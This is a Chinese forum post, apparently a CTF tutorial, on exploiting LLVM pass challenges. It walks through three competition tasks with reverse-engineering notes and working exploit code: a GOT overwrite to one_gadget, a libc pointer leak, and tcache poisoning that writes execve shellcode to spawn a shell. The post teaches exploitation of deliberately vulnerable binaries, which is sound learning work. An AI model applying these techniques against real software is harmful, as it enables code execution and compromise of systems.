PWN学习之LLVM入门

  金牌会员 | 2024-2-3 18:21:15 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 856|帖子 856|积分 2568

一、基本流程

①找到runOnFunction函数时如何重写的,一般来说runOnFunction都会在函数表最下面,找PASS注册的名称,一般会在README文件中给出,若是没有给出,可通过对__cxa_atexit函数"交叉引用"来定位:
②通过逆向,找到函数名及参数,编写基本exp
③找到漏洞,写利用exp.c,其中的pwn的目标是opt文件,查看保护和找gadget都在opt中找
④生成.ll文件
⑤将.ll文件输入到LLVM中
二、命令

用下面的命令可以生成.ll文件准备输入到LLVM中:
  1. clang -emit-llvm -S exp.c -o exp.ll
复制代码
最后用下面的命令将.ll文件输入到LLVM中,如果想要得到结果可以在后面添加>[文件名]来获取:
  1. opt -load ./LLVMFirst.so -hello ./exp.ll
复制代码
三、例题

1.202Redhat simpleVM

①重写函数

②逆向,编写基本exp
[img=720,524.8380129589633]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419087.png[/img]
函数名为o0o0o0o0则继续执行sub_6AC0
[img=720,247.68]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419088.png[/img]
循环遍历每一个基本块
[img=720,208.8]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419089.png[/img]
这里也是一个循环遍历,其中指令码需要为55才能进入下一步操作,否则就会直接跳过这个指令去处理下一条指令,即函数o0o0o0o0中的代码都要是函数调用。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
getCalledFunction获取函数本身,然后获取函数名赋值给s1
[img=720,234.72]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419090.png[/img]
getNumOperands返回一条指令中的变量个数,包括函数名和参数,pop为2,即参数数量为1
这里可以看到pop函数的参数是1,2,分别对应两个寄存器,pop操作就是弹栈操作,并且栈是从低到高生长
[img=720,309.6]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419091.png[/img]
push的参数也是一个,1或2,模拟压栈操作
[img=720,353.52]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419092.png[/img]
store参数1个,1或2,将reg1存的地址指向的地方赋值为reg2中的值
[img=720,282.24]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419093.png[/img]
load参数1个,1或2,将reg2赋值为reg1中的地址指向的值
[img=720,346.32]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419094.png[/img]
add参数2个,第一个是1或2,第2个是加的数,使寄存器中的值加上某一个值
[img=720,334.08]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419095.png[/img]
min参数2个,第一个是1或2,第2个是减的数,使寄存器中的值减去某一个值
得到基本exp
  1. void o0o0o0o0();
  2. void pop(int reg){};
  3. void push(int reg){};
  4. void store(int reg){};
  5. void load(int reg){};
  6. void add(int reg,int num){};
  7. void min(int reg,int num){};
  8. void o0o0o0o0(){
  9. };
复制代码
③找到漏洞,写攻击exp
store(1),将reg1存的地址指向的地方赋值为reg2中的值,这里就有任意地址写。
load(1),将reg2赋值为reg1中的地址指向的值,可以把libc写进去。
add和min可以对reg里的值进行加减,相当于任意修改
查看一下opt的保护

没有开pie
所以,攻击思路如下
reg初始值都为0,首先将reg1通过add函数改为free函数的got表,再通过load函数将reg1中的地址指向的值赋值给reg2,再通过add或者min函数将reg2中的地址修改为one_gadget的地址,再通过store函数将reg2的值赋值给reg1存的地址指向的地方即free的got表
  1. add(1,free.got)
  2. load(1)
  3. add(2,ogg - free)
  4. store(1)
复制代码
gdb调试
  1. gdb opt-8
  2. set args -load ./VMPass.so -VMPass ./exp.ll
  3. b main
  4. b *0x4bb7e3
  5. b *(0x7f11c1a00000+0x73EE)
  6. tele 0x7f11c1a00000+0x20E580
复制代码
[img=720,54.72]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419097.png[/img]
调试到这里,.so已经加载好了
下断点调试即可
调试可以看到成功修改free@got为one_gadget,但是三个都打不通,libc不同
2.CISCN2021 satool

[img=720,277.92]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419098.png[/img]
PASS注册名称为SAPass
[img=720,417.74058577405856]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419099.png[/img]
函数名B4ckDo0r
[img=720,95.76]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419101.png[/img]
[img=720,38.88]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419102.png[/img]
[img=720,190.8]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419103.png[/img]
save函数,两个参数,char类型,申请一个0x20的堆块,把两个参数分别放入堆块中
[img=720,316.08]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419104.png[/img]
stealkey函数,没有参数,把堆块中的第一个8字节赋值给byte_204100
[img=720,254.88]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419105.png[/img]
[img=720,166.32]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419106.png[/img]
fakekey函数,1个参数,与byte_204100相加并赋值给chunk的前8字节
[img=720,169.2]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419107.png[/img]
run函数,没有参数,将chunk的前八字节作为函数指针调动
基本exp
  1. void save(char *a,char *b);
  2. void stealkey();
  3. void fakekey(int a);
  4. void run();
  5. void B4ckDo0r(){
  6. }
复制代码
这里可以看到,save会malloc一个0x20大小的chunk,调试发现,save一次后,tcache中没有符合要求的chunk了,再save一次,就会变成smallbins,这时候chunk中会有残留的libc指针,再通过stealkey把指针赋值给byte_204100,再用fakekey对指针进行偏移的加减,改为one_gadget,执行run函数,即可
完整exp
  1. void save(char *a,char *b);
  2. void stealkey();
  3. void fakekey(int a);
  4. void run();
  5. void B4ckDo0r(){
  6. save("aaaa","bbbb");
  7. save("","b");
  8. stealkey();
  9. fakekey(-0x1090f2);
  10. run();
  11. }
复制代码
3.CISCN2023 llvmHELLO

[img=720,203.04]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419108.png[/img]
PASS注册名称为Hello
[img=720,416.16]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419109.png[/img]
Add函数,一个参数,申请一个堆块
[img=720,257.04]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419110.png[/img]
Del函数,一个参数,free一个堆块,没有uaf
[img=720,341.28]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419111.png[/img]
edit(idx,data_idx,data),edit函数,3个参数,向第idx个chunk的第data_idx个四字节写入4字节
[img=720,92.88]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419112.png[/img]
Alloc函数,没有参数,将0x10000设置为可读可写可执行
[img=720,331.92]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202312041419113.png[/img]
EditAlloc函数,2个参数,EditAlloc(idx,idx_alloc),把第idx个chunk的前4个字节赋值给0x10000+idx_alloc处
基本exp
  1. void Add(int size);
  2. void Del(int idx);
  3. void Edit(int idx,int data_idx,int data);
  4. void Alloc();
  5. void EditAlloc(int idx,int addr);
  6. void hello(){
  7. }
复制代码
在edit中,存在堆溢出,可利用edit修改tcache bin中chunk的fd,进行tcachebinattack,执行一次Alloc,申请0x10000开始的0x1000的空间,写入shellcode,由于没有开启PIE,用tcachebinattack改free的got表为0x10000,然后执行Del函数,执行shellcode拿到shell
最终exp
  1. void Add(int size);
  2. void Del(int idx);
  3. void Edit(int idx,int data_idx,int data);
  4. void Alloc();
  5. void EditAlloc(int idx,int addr);
  6. void hello(){
  7. Add(0xa0);
  8. Add(0x78); //0x8203
  9. Edit(1,0,0xdeadbeef); // 0x8602
  10. Add(0x78);
  11. Edit(2,0,0xdeadbeef); // 0x8602
  12. Add(0x78);
  13. Edit(3,0,0xdeadbeef); // 0x8602
  14. Del(1);
  15. Del(3); //0x83e4
  16. Edit(2,32,0x78b108); //
  17. Alloc();//0x8690
  18. Edit(0,0,0x56f63148); // 0x8602
  19. EditAlloc(0,0);
  20. Edit(0,0,0x622fbf48); // 0x8602
  21. EditAlloc(0,4);
  22. Edit(0,0,0x2f2f6e69); // 0x8602
  23. EditAlloc(0,8);
  24. Edit(0,0,0x54576873); // 0x8602
  25. EditAlloc(0,12);
  26. Edit(0,0,0x583b6a5f); // 0x8602
  27. EditAlloc(0,16);
  28. Edit(0,0,0x00050f99); // 0x8602
  29. EditAlloc(0,20);
  30. Add(0x78);
  31. Add(0x78);
  32. Edit(3,0,0x10000);
  33. Edit(3,1,0);
  34. Del(1);
  35. }
复制代码
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表